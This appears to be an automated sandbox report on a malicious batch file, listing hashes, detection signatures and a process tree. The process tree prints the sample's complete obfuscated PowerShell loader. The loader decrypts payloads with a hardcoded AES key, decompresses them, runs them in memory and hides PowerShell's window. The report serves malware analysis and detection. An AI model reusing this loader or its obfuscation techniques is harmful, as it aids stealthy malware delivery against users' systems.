Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
02/08/2024, 14:16
Static task
static1
Behavioral task
behavioral1
Sample
bat.bat
Resource
win7-20240704-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
bat.bat
Resource
win10v2004-20240802-en
9 signatures
150 seconds
General
-
Target
bat.bat
-
Size
5.8MB
-
MD5
f3281ed9a501fd2ff062664456bd3016
-
SHA1
4e41be0fe4bf26907eaa738fffaabf10651c15b5
-
SHA256
3e27d2aee2a3f3a1f28e27100ed8b966ee82a85ec94d8d715f390d824e20abba
-
SHA512
cbd41cc54655e2fc7159d4cf50c6b0424b7caf927016735bf1e84b1b69ff58cf12abcee724af99f2c0aba7e176393477c16cf183d99c48163d9b85f8e7aaf1b4
-
SSDEEP
98304:BAqV8T0g2Vnxg8T2D0aBBbhP9HbTEU28tf:4TNBBbhPdT/f
Score
8/10
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2372 powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2372 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2372 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2560 wrote to memory of 1736 2560 cmd.exe 32 PID 2560 wrote to memory of 1736 2560 cmd.exe 32 PID 2560 wrote to memory of 1736 2560 cmd.exe 32 PID 2560 wrote to memory of 2372 2560 cmd.exe 33 PID 2560 wrote to memory of 2372 2560 cmd.exe 33 PID 2560 wrote to memory of 2372 2560 cmd.exe 33
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\bat.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2560 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dyVGy+AK/alUx4C1KZGPyURnZpXePTKfrvzd88J4h2c='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EtptwhXr1MaRHHI/4/0emw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $JxCCm=New-Object System.IO.MemoryStream(,$param_var); $fscLF=New-Object System.IO.MemoryStream; $beNoU=New-Object System.IO.Compression.GZipStream($JxCCm, [IO.Compression.CompressionMode]::Decompress); $beNoU.CopyTo($fscLF); $beNoU.Dispose(); $JxCCm.Dispose(); $fscLF.Dispose(); $fscLF.ToArray();}function execute_function($param_var,$param2_var){ $eJqYy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wnjdB=$eJqYy.EntryPoint; $wnjdB.Invoke($null, $param2_var);}$pMUKG = 'C:\Users\Admin\AppData\Local\Temp\bat.bat';$host.UI.RawUI.WindowTitle = $pMUKG;$hJjhE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($pMUKG).Split([Environment]::NewLine);foreach ($cavJU in $hJjhE) { if ($cavJU.StartsWith('cypLHeqrkKMWSgQqffJU')) { $ycQqn=$cavJU.Substring(20); break; }}$payloads_var=[string[]]$ycQqn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "2⤵PID:1736
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2372
-